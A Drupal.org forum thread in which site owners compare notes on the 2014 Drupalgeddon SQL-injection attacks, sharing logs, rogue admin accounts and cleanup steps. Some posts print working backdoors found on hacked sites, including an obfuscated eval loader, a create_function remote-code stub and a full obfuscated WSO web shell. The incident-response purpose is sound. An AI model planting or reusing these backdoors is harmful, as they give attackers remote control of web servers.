Failing that, Drupalgeddon command does not yet address some known exploits. Check back every day for updates. You should also run security review module. And keep looking manually. Use google and twitter to help find examples of exploits that can help you find remaining backdoors. Contributions to Drupalgeddon are welcomed.

greggmarshall’s picture

I just read that PSA and was coming to the same conclusion. Drats.

crutch’s picture

Results of user logs on one of our slower sites spanning across those dates.

user 10/29/2014 - 2:11pm Session opened for admin. admin
user 10/27/2014 - 4:25pm Login attempt failed for evex. Anonymous
user 10/18/2014 - 12:32pm Login attempt failed for drupaldev. Anonymous
user 10/17/2014 - 2:10pm Session closed for admin. admin - all sites updated by this date/time
user 10/17/2014 - 2:01pm Session opened for admin. admin
user 09/24/2014 - 11:21am Session opened for admin. admin

other logs of interest

page not found 10/27/2014 - 7:01am route_handle_req Anonymous
page not found 10/21/2014 - 9:59pm admin.php Anonymous
page not found 10/21/2014 - 9:59pm wp-login.php Anonymous
page not found 10/21/2014 - 1:03pm crossdomain.xml Anonymous

Bevan’s picture

Thanks for this detail. It is very useful.

drumrwaldo’s picture

In one of my contrib module directories I found a file called "general78.php." It certainly didn't exist previously.
This is the meat of it:

$vOY168L = Array('1'=>'Y', '0'=>'P', '3'=>'D', '2'=>'C', '5'=>'8', '4'=>'c', '7'=>'9', '6'=>'g', '9'=>'B', '8'=>'Q', 'A'=>'S', 'C'=>'X', 'B'=>'W', 'E'=>'s', 'D'=>'6', 'G'=>'N', 'F'=>'F', 'I'=>'a', 'H'=>'O', 'K'=>'q', 'J'=>'0', 'M'=>'4', 'L'=>'2', 'O'=>'M', 'N'=>'n', 'Q'=>'7', 'P'=>'j', 'S'=>'m', 'R'=>'d', 'U'=>'J', 'T'=>'G', 'W'=>'v', 'V'=>'3', 'Y'=>'T', 'X'=>'z', 'Z'=>'i', 'a'=>'A', 'c'=>'L', 'b'=>'K', 'e'=>'o', 'd'=>'x', 'g'=>'l', 'f'=>'R', 'i'=>'y', 'h'=>'I', 'k'=>'h', 'j'=>'t', 'm'=>'E', 'l'=>'1', 'o'=>'r', 'n'=>'b', 'q'=>'5', 'p'=>'w', 's'=>'k', 'r'=>'H', 'u'=>'V', 't'=>'U', 'w'=>'f', 'v'=>'u', 'y'=>'e', 'x'=>'Z', 'z'=>'p');
function vNC97QV($vL8FMK3, $vJ55S8V){$vJM3M1G = ''; for($i=0; $i < strlen($vL8FMK3); $i++){$vJM3M1G .= isset($vJ55S8V[$vL8FMK3[$i]]) ? $vJ55S8V[$vL8FMK3[$i]] : $vL8FMK3[$i];}
return base64_decode($vJM3M1G);}
$vMIGNVA = '2SgSbTgX4LuJb2fwtm7YuFEZ1L7sxAURbAaSUZ9z4VGgR26sCl90tlfnhSGl4VfWnu7k1VfznLMZC'.
(lots of similar long random strings)
eval(vNC97QV($vMIGNVA, $vOY168L));

Not sure if that is at all useful as the code is beyond me.

meno1max’s picture

Bevan, are you collecting these log snippets?

I checked my logs for a couple of those recurring IPs from Russia and found that they knocked at my door a few hours after the update was completed (on Oct 16th) and came back the next day.

An example: - - [16/Oct/2014:10:13:46 -0700] "POST /?q=node&destination=node HTTP/1.1" 200 75359 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [16/Oct/2014:10:13:48 -0700] "POST /user HTTP/1.1" 500 3514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [16/Oct/2014:10:13:49 -0700] "GET /?q=kfmdeb HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [16/Oct/2014:10:13:50 -0700] "GET /kfmdeb HTTP/1.1" 404 50165 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [16/Oct/2014:10:13:52 -0700] "GET /kfmdeb HTTP/1.1" 404 50165 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [16/Oct/2014:10:13:52 -0700] "GET /modules/syslog/nkxu.php HTTP/1.1" 404 50199 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

From Drupal logs I get this for the 500 request:

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (linea 2149 di /home/mywebserver/public_html/mysite.info/modules/user/user.module).

Next day: - - [17/Oct/2014:18:13:53 -0700] "POST /?q=node&destination=node HTTP/1.1" 200 75467 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:13:56 -0700] "POST /user/ HTTP/1.1" 500 3514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:13:57 -0700] "POST /?q=user HTTP/1.1" 500 3514 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:13:58 -0700] "POST /?q=user HTTP/1.1" 200 52126 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:00 -0700] "POST /login/ HTTP/1.1" 404 50098 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:02 -0700] "POST /login/ HTTP/1.1" 404 50098 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:04 -0700] "POST / HTTP/1.1" 200 75388 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:06 -0700] "POST / HTTP/1.1" 200 75435 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:08 -0700] "GET /?q=viuiwq HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:09 -0700] "GET /viuiwq HTTP/1.1" 404 50165 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:11 -0700] "GET /viuiwq HTTP/1.1" 404 50165 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0" - - [17/Oct/2014:18:14:12 -0700] "GET /modules/contact/jabn.php HTTP/1.1" 404 50201 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

Something different was spotted later (IP from Germany): - - [28/Oct/2014:03:40:11 -0700] "POST /?q=node&destination=node HTTP/1.1" 200 75367 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1" - - [28/Oct/2014:03:40:13 -0700] "GET /?q=route_handle_req&module_require_check=1 HTTP/1.1" 301 - "-" "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50" - - [28/Oct/2014:03:40:13 -0700] "GET /route_handle_req?module_require_check=1 HTTP/1.1" 404 9985 "-" "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50"

What were they trying to do here?

I also found several single requests for
POST /?q=node&destination=node

What is it? A basic check to find Drupal sites?



openthinktech’s picture

Would a service like Sucuri.net or similar malware/server/site scanning online software detect these backdoors?

Thomas Newman
Web Developer

greggles’s picture

It's likely that services like Sucuri.net would detect at least some backdoors. Sites using Sucuri as a WAF might have been protected from the beginning.

The shells from the drupal.org break-in that was identified in the summer of 2013 are at https://github.com/greggles/sh3llz When I downloaded them onto my computer the virus scanner I was running at the time did identify them as malicious files (I had to disable it in order to download them for analysis).

However, I doubt that Sucuri.net would find something like a newly created administrative user or a previous admin who had their email/password changed. A mix of automated (e.g. via malware scanners and tools like sucuri.net, security_review module, drupageddon) and manual review are necessary to regain confidence.

CARD.com :)

Marko B’s picture

I would guess that checking differences between original modules and core code and the one on the server would help find out if site was hacked with some code?
So this module could help

The only downside is that it doesnt check if some files were added that are not in original code repository, which would be great as then you would also know if something is added or not.

thomasmurphy’s picture


thomasmurphy’s picture

I really think this security vulnerability should feature more prominently on the drupal.org homepage.

Ice-D’s picture


tinny’s picture

One of my sites was compromised.

Found this in /sites/default/files/ctools/syscore.php

if(isset($_REQUEST['module_require_check'])) {
    @ini_set('error_log', NULL);

    if(isset($_REQUEST['pi']) && md5($_REQUEST['pi']) == '5de1f8d51005652b28d7f23a8111d5e1') {
        if(@get_magic_quotes_gpc() && isset($_REQUEST['pe'])) {
            $_REQUEST['pe'] = stripslashes($_REQUEST['pe']);
        $report = urldecode('%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e');
        $report = $report('', $_REQUEST['pe']);
    else die('Wrong PI');

Roles created:

Three users created with megauser or administrator role:
drupaldev, system, condia

Three rows in the menu_router table with the access_callback file_put_contents.

Also found this in /sites/default/files/ctools

<FilesMatch "\.php$">
SetHandler application/x-httpd-php
<IfModule mod_php5.c>
  php_flag engine on
pyQlo’s picture

I found some strange entries in the drupal log messages, but shouldn't we see any suspicious entries in the server log files? I just see the corresponding entries like in the watchdog:

page not found 16.10.2014 - 12:28 modules/comment/flur.php Anonymous
page not found 16.10.2014 - 12:28 twusca Anonymous
User 16.10.2014 - 12:28 Login attempt failed for. Anonymous

Server log files: - - [16/Oct/2014:12:28:25 +0200] "POST /?q=node&destination=node HTTP/1.1" 200 9091 "-" - - [16/Oct/2014:12:28:25 +0200] "POST /user HTTP/1.1" 200 10594 "-" - - [16/Oct/2014:12:28:26 +0200] "GET /?q=twusca HTTP/1.1" 301 0 "-" - - [16/Oct/2014:12:28:26 +0200] "GET /de/twusca HTTP/1.1" 404 8103 "-" - - [16/Oct/2014:12:28:27 +0200] "GET /twusca HTTP/1.1" 301 0 "-" - - [16/Oct/2014:12:28:27 +0200] "GET /de/twusca HTTP/1.1" 404 8103 "-" - - [16/Oct/2014:12:28:27 +0200] "GET /modules/comment/flur.php HTTP/1.1" 301 0 "-" - - [16/Oct/2014:12:28:28 +0200] "GET /de/modules/comment/flur.php HTTP/1.1" 404 8209 "-"

bazzmann’s picture

Find user system2383 (/user/9999339) created 44 years ago.
At now no new roles created or new files found.

The site was updated to 7.32 6 days ago.

demon326’s picture

Same here, but other username:
bAf6p active admin 44 years 10 months. No mail adress filled in, pretty low UID, 318.

sapiotech’s picture

I had one like this with a four letter user name, admin privileges, no email, last login = never and 44 year old create date. I deleted it before realizing that it was likely a symptom of this attack.

scottalan’s picture

This might at least help find malicious code that could have been injected in module files. Does a cool side-by-side diff and exports to a file so you can easily move through the file and see any differences.

In this case 'drupal' is just a git clone --branch 7.x http://git.drupal.org/project/drupal.git and a git checkout 7.32 and 'pre-update' is my old drupal install that I want to check for malicious code.

In this case the "drupal" directory will be on the left. Just switch them around to see the other directory on the left. I chose to do it this way because I wanted to see everything for the the "good" code and see just lines that were different in what I had before the update.

diff -r -y --left-column drupal pre-update > dirdiff.txt

This does a recursive (-r) diff and places the results side-by-side (-y) in a file. The (--left-column) makes it easier to spot the diff.

On mac you can just hold down fn + (down arrow)

You should see at least this:

This is the diff for the patch here: https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

Something else you can do for any code you may have been version controlling (we all version control our custom code, right?):

I looked back through my git branches, as I tend to keep them for quite sometime, and I found a branch that I had labeled updates-10-13-14 so I know that these are any updates I may have pushed on the 13th of October. This is two days before the 'catastrophe' so this code shouldn't be affected. I'm working with the Panopoly distro as my base install so all of my custom code exists in sites/all and that's what I push to GitHub. In the sites directory I placed a directory called: old_all. So here is what I did:

From your sites directory:

mkdir old_all
cd old_all
git init
git remote add origin git@github.com:scottalan/[NAME_OF_REPO].git
git fetch origin
git checkout origin/updates-10-13-14

Now I have my PRE 'possible hack' code in old_all and where ever I am now in the original all directory. Now it's just a matter of running the diff command.

diff -r -y --left-column old_all all > all-diff.txt

Now I can see a side by side diff of the changes. Of course you will see things that you recognize changing but keep an eye out for anything that doesn't seem quite right.

Good Luck!


Bevan’s picture

bwinett’s picture

This page indicates that D6 is not vulnerable. But http://drupal.geek.nz/blog/your-drupal-websites-backdoor indicates that it is, IF the DBTNG module is being used.

To verify, I see that the DBTNG module has a new version as of 10/16, and the notes for this latest release states "Patching for SA-CORE-2014-005 - Drupal core - SQL injection."

So I think the statement at the top of the page may give many D6 site owners an incorrect impression of the security of their sites.

gaele’s picture

DBTNG: "Reported installs: 1,565 sites currently report using this module."

The module has no official release (it's on rc5), so that's why there was no security team announcement for DBTNG.

Heine’s picture

Clarified that this means core. Please note that the Drupal security team does not support prerelease modules, so you're on your own there.

Whether this is an issue at all for sites using dbtng depends entirely on how the module is used on the site. Impact for most sites is probably less than the "OMG the sky is falling" that the D7 issue is.

bwinett’s picture

I can understand that the security team doesn't support prerelease modules. Sounds reasonable.

Now look at the Migrate module. It has a production release for D6 - but it requires DBTNG! Maybe a module shouldn't be allowed to have a stable release until all of its dependencies have stable releases?

gaele’s picture

Quoting David_Rothstein from a week ago:

The emails that are sent via Update Status (inside your site) can be configured at admin/reports/updates/settings (it sounds like yours were set to send weekly, but you can change it to daily).

Meanwhile, instructions for subscribing to the security list are at the top right of https://www.drupal.org/security, and in that case the email was sent out directly from drupal.org within minutes after the security release was made

Would it be wise to show a message upon installing core inviting people to subscribe to the security list? A message that will stay unless you click it away, or click on the subscribe link?

bkno’s picture

I expect a lot of developers won't be on the security list, this would help make it clear that they need to be.

dilipsingh02’s picture

I have a site which is running using Drupal 7.31. Please suggest if I can update core by referring from updating other contributed modules.

desoi’s picture

I'm wondering if PostgreSQL might be immune to the exploit or if the attacks were just targeted with MySQL syntax. I had one site that was not patched in a timely manner (my own, of course) running an old PostgreSQL version (8.3.14). Attempts to insert users (megauser, drupaladmin) failed with database errors. Selects against the user table also failed.

Of course, this does not prove there were no successful exploit queries. But so far I can't find any evidence anything was compromised even though I know the site was attacked before it was patched.

elvin’s picture

i have a question

i found a file_put_contents entry in the menu router table, and it was almost empty. it had only this value: jsvxyp

i couldnt find any file with that name (after i downloaded a full copy of the website).
i navigated to that url /jsvxyp and it gave me a blank white screen. after i deleted it on the database, it just gave me an page not found error.

any ideas, suggestions?

elvin’s picture

also i noticed on the SESSIONS table that there was an active session associated with the UID 0 and its ip was located in india (

any suggestions?

Jaypan’s picture

UID 0 is the anonymous user. So there is nothing wrong with that.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

elvin’s picture

You're right Jaypan :)

But what about my first question?
I also have a couple of corrupt files i found on some of my websites.
You may find them here


Steady’s picture


Please forgive my beginners comment. I am just a basic drupal user and use it on a few of my small sites.

I found out today about this latest hack and yes, one of my little sites has been hacked since 17th October 2014.

This may be a silly comment, but how do the hackers find my site and know it is a drupal site that can be hacked into?

Surely there must be a way to stop a hacker even finding out it is built with drupal?

How do they get into the site initially to do damage?


Jaypan’s picture

It's almost impossible to disguise a site as being a Drupal site. You'd have to break or change some major functionality to do so.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

HTDrupalUser’s picture

I patched my site to 7.32 and removed the directory that turned my site into a SPAM bot, but today, I saw several other PHP files in various, sometimes new, directories.

For example, in the file module, there is now a file hmnz.php.

 $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

In the "locale" module, there is now a 4raf9b.php file:

<?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);exit;



I've now removed my entire Drupal site and will re-install from a pre October 15 backup, apply 7.32, and spend the requisite hours trying to get my site back to where it was.


StephanP’s picture

Being a but an amateur, I find it hard to get a hold of the signs whether my Drupal site may be hacked.
I did perform the update on 16/10. Maybe in time, maybe too late.
Following the discussion above, I was not able to find any of the mentioned additional files and my database.inc seems original.
I did find however that on one Drupal system the user Administrator is marked as 'registered 44 years and 10 months ago'.
Obviously this is not the timespan that this system is active.
On my other system the user Administrator is registered some 3 years ago, which is more likely.
Other than a hack, are there any other possible causes that could have marked user0 with this 44-something registration date?

tuccio’s picture

Steady’s picture

I myself am a mere layman in terms of drupal, but a number of our clients use drupal for serious sites and one for one, they are very disappointed with how these hacks have played out.

Apparently this vulnerability was "discovered" back in September and it took until mid October for some kind of announcement.

Many smaller businesses don't have full time IT or web teams. The first time one heard of this was on the BBC website a few days ago.

Ok, for sure, that isn't drupal's fault, but it does highlight the problem.

It has seriously caused people I know to consider fully moving away from drupal.

I also fear this recent attack and its widespread nature will seriously affect the uptake of drupal.

For some reason it seems that fiorms such as Acquia got a head start and new about this beforehand.

It leaves me to think that the only way one can have a chance in running a drupal site at least safe to a greater degree than normal is paying folks such as acquia big money......Mmmmm.

Again, I know nothing of SQL and next to nothing of PHP myself, but I would have thought there was a way to better protect drupal from these kind of attacks.

Are you telling me that these bots spidered the whole of the internet and found every single drupal site out there?

I was aalso rather shocked to find that there is a website that you can enter a domain name into that will literally tell you all of the active modules on a drupal site.

This is crazy beyond belief.

What are some simple basic things drupal site owners can do to minimise these attacks, apart from keeping things patched and doing regular backups.

(For most, even installing the latest 7.32 within 24 hours of release was not quick enough!!!)

If this comes across as a criticism, well it is. But hopefully it is constructive, because it is meant to be.


Fabianx’s picture

Thanks for the feedback:

To clarify two things here:

a) It was reported as "strange code", but not as a security issue in the Drupal Core Queue. There have been no reported exploits before the security advisory. If it had been reported earlier to the security team, we would have had to patch all sites earlier. It would have made no difference. Therefore the attackers had as much time as the protectors.

b) The Drupal security team reported a very ominous report, which one had no idea except the patch how to exploit this, but the security research company that found that issue published much more information, which made it much easier to create an exploit. This was outside of Drupals realm of responsibility (they asked to disclose less, but had been ignored as far as my knowledge is), but might have given attackers an advantage. However event then it would have probably just saved a few more hours.

c) Drupal was security-reviewed before by at least 10-20 of security companies and no one ever found this bug.

d) Attacks do change today: We only have hours, that is why this critical security update was announced so early on as being on where you need to patch immediately. It was also the most severe attack in a few years.

What you can do is the same as for your server distribution:

- Subscribe to drupal-security mailing list
- Get the date of the security window
- Apply patch immediately

The same responsibility as users of Windows have and if they don't patch the worm comes.

As for making Drupal more secure:

- We are working on it ...

The irony is that this bug / attack was on an API that was designed to protect Drupal against such attacks, but mistakes happen.

In my opinion more such security issues are found now, because the tools to scan have been improved with various techniques like fuzzy matching.

Also there are lots of other blog posts talking about the: Is Drupal secure? topic in more depth.

I hope this helps a little to re-instantiate confidence in your Drupal :).



thoughtcat’s picture

1) I have a D6 site. Bevan Rudge's flowchart says D6 is only at risk if you have the DBTNG module installed. I had it installed, but it was disabled. I have now deleted it rather than update it. Is that site likely to have been at risk?

2) One of my D7 sites sits on a server with scores of other files and folders, most of them unrelated to Drupal (e.g. static html pages, image files etc). Do I need to delete all of the non-Drupal files and folders from that server and reupload those too, or is it only the Drupal files I need to worry about?

bkno’s picture

Has anyone got evidence the 4 character long .php files (WSO Web Shell) in the core modules being used to modify other files/database at all? I.e. anything in particular to look for other than simply clearing up these files.

Obviously not as good as restoring a backup, but would be useful to know. For example, is the presence of the drupaldev admin account a result of this, or an unrelated automated attack.

greta_drupal’s picture

I haven't found much discussion about entry points. Meaning, where all has initial malicious code been injected to create the backdoors? Comment fields? Contact forms? Nodes?

Leading to the question: Are sites that do not allow user content creation of any kind (comments, nodes, images, etc.), even account creation, or a contact form less vulnerable to the security issue? Or, is it being injected via URL?

Heine’s picture

> Are sites that do not allow user content creation of any kind (comments, nodes, images, etc.), even account creation, or a contact form less vulnerable to the security issue?

No, most extant attacks that people report on use the user login form. Other avenues exists via cookie values and GET parameters, all of those in non-optional components that can be reached pre-authentication.

John Pitcairn’s picture

The attacks I saw on day 2 (after I upgraded) were against /user/login form, and attempted to exploit the SQL vulnerability by supplying login parameters in array format. These were attempting to create a new user. So if the login form is accessible this particular attack will succeed on an unpatched site - but presumably anything accepting GET or POST data could potentially be at risk, depending on what the module code does with the data.

greta_drupal’s picture

I did a full update of my Drupal 7 sites within 3 hours of the October 15th -- seeing the SA in email and a tweet. Also have reviewed all folders for errant files, looked at the db (e.g., menu_router, users, system), and reviewed UI log files. I do have backups prior that I can rollback to also. [HostGator had a big meltdown a few days ago on a reseller server. Wondering if it is coincidence or if this security breach could have been a factor.]

I have found these entries in my Drupal logs, for what it is worth to anyone else (screenshots):

https://www.drupal.org/node/2362315#comment-9304267 *

* my bad -- inadvertently posted in wrong thread.

Steady’s picture

Where is the basic data on best practices for securing drupal sites?

How do these bots find drupal sites in the first place so quickly?

Is it true that any unpatched drupal site can be hacked?

How do these hackers get into the site etc?

Is it via login forms or other forms of some kind?

For example, what is the path to the login page is changed?

Do simple things like this avoid bots from hacking a site in the first place or at least reduce the chances?

Or do we just move forward with drupal on the basis that every now again a sh*t storm will occur and you will lose everything, so be prepared with backups and many hours of work rebuilding a drupal site in the future?

The lack of answers overall is rather disconcerting....

VM’s picture

much of what you've asked is available in this thread and in docs.

1. https://www.drupal.org/security/secure-configuration
2. bots scour the web far faster than humans do. Markup from a CMS is easily distinguishable.
3. certainly
4. multiple methods and it depends on the exploit
5. see 4
6. doesn't necessarily matter but also depends on the exploit
7. also depends on the exploit
8. regular backups and expedient maintenance are both best practices. Exploits are found/exploited regardless of the script. Joomla, PHPBB, Wordpress etc. have all had serious exploits found/exploited over the years.

HugoJ’s picture


Does anybody have a list of the requests that have been used by the attackers ?

I have seen "?q=node&destination=node" then following by "/user" but is it possible there been others ?

It would be a huge help to know what to search in the access logs !


lanceh1412’s picture

Found this in my web log: - - [16/Oct/2014:10:32:58 +0100] "POST / HTTP/1.1" 200 20116 "-" "Python-urllib/2.7"

I don't know if this was using this exploit or not. I suspect it was a hack attempt of some kind (searches on the web lead me to believe it could have been shell shock)! This ip (based in China) has only hit my logs once. I can find no evidence of any kind of attack in db or files system. You might want to check for this though.


dmdip’s picture

I plan to reinstall D7 and restore all the sites from a backup taken before October 15. The FAQ says D6 is unaffected. Would it safe to let the D6 remain in its current state? The directories are setup as /var/www/d6 and /var/www/d7. Also can one be absolutely sure that the vulnerability would not have affected anything outside the D7 directory and sub-directories?

And finally, should users be asked to change their passwords?

Many thanks!

greggles’s picture

If the d6 sites run as the same webserver user then it is possible they were compromised as well.

Yes, changing passwords is a good idea. https://github.com/greggles/cracking-drupal/blob/master/after-an-exploit.md mentions that among a few other items.

CARD.com :)

dmdip’s picture

Thanks. An overdose of paranoia will not hurt in this instance :)

giovanninews’s picture

This seems to me to today's attack failed:
The log page containing the attack opens with error: "Warning: htmlspecialchars() expects parameter 1 to be string, array given in check_plain() (line 1573 of /home/userxxxx/public_html/includes/bootstrap.inc)".

I note, by the same anonymous user, in sequence, from last line; the details of the rows, starting from last line.

1) execute php to take the role of the user 1
2) run php to assign the variable to its username
3) try logging in (the username is unfortunately empty); if he could perhaps have added a superuser
4) Not Found; did not find the super user in the user table or user_roles

Immagine Log
Dettaglio 1
Dettaglio 2
Dettaglio 3
Dettaglio 4

abarpetia’s picture

Hello Guys,
Few days back, i came to know about this attacks and straight away i checked my public website and found out that my database.ini file was already patched but i haven't done that neither my web hosting provide patched my files. So, i shutdown my website and removed all the files from server while, scanning those files i found out few extra file into my core module and theme folders.

My main concern is regarding the uploaded files on my website. My website is a Document management system and all user upload their documents on it. So, i just want to know whether is their any possibility of accessing or downloading those documents by attacker?
If yes, is their any way to confirm this?

I haven't found any extra files into my document folder and also haven't found any new user created in users table.

Thanks in advance.

sapiotech’s picture

This is probably a coincidence, but just in case anyone else sees this.... It took several days to get physical access to a client's in-house (Debian) server, which was built with every security precaution that I could find recommended at the time. Suhosin had been logging rejected SQL injection attacks that looked just like our girls, but I saw no other signs of intrusion. The site is owned by a different account than the web server, which only has write permissions in the /files directories, the site owner is merely a user on the system, etc.

